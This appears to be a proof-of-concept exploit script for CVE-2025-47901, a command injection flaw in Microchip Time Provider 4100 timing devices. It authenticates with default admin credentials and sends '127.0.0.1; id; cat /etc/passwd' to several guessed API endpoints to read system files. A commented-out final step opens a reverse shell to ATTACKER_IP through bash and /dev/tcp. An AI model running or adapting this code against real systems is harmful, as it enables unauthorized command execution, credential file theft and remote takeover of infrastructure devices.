CVE-2025-47901

# CVE-2025-47901 - Microchip Time Provider 4100 OS Command Injection PoC # Discovered by: TIM Red Team # Affected: Time Provider 4100 before version 2.5 import requests import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://target-device" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "admin" # Step 1: Authenticate to obtain session session = requests.Session() login_url = f"{TARGET}/api/login" login_data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, json=login_data, verify=False, timeout=10) print(f"[*] Authentication response: {resp.status_code}") except Exception as e: print(f"[-] Authentication failed: {e}") sys.exit(1) # Step 2: Exploit command injection via vulnerable endpoint # Inject OS command using shell metacharacters (e.g., semicolon) injected_payload = "127.0.0.1; id; cat /etc/passwd" vulnerable_endpoints = [ f"{TARGET}/api/diagnostics/ping", f"{TARGET}/api/network/test", f"{TARGET}/api/system/exec", f"{TARGET}/cgi-bin/diag" ] for endpoint in vulnerable_endpoints: try: params = {"host": injected_payload, "target": injected_payload, "cmd": injected_payload} resp = session.get(endpoint, params=params, verify=False, timeout=10) if resp.status_code == 200 and ("uid=" in resp.text or "root:" in resp.text): print(f"[+] Command injection successful at {endpoint}") print(f"[+] Output:\n{resp.text}") break except Exception as e: continue # Step 3: Establish reverse shell (optional, for full compromise) # reverse_shell_cmd = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # requests.get(f"{TARGET}/api/diagnostics/ping", params={"host": f"127.0.0.1; {reverse_shell_cmd}"})

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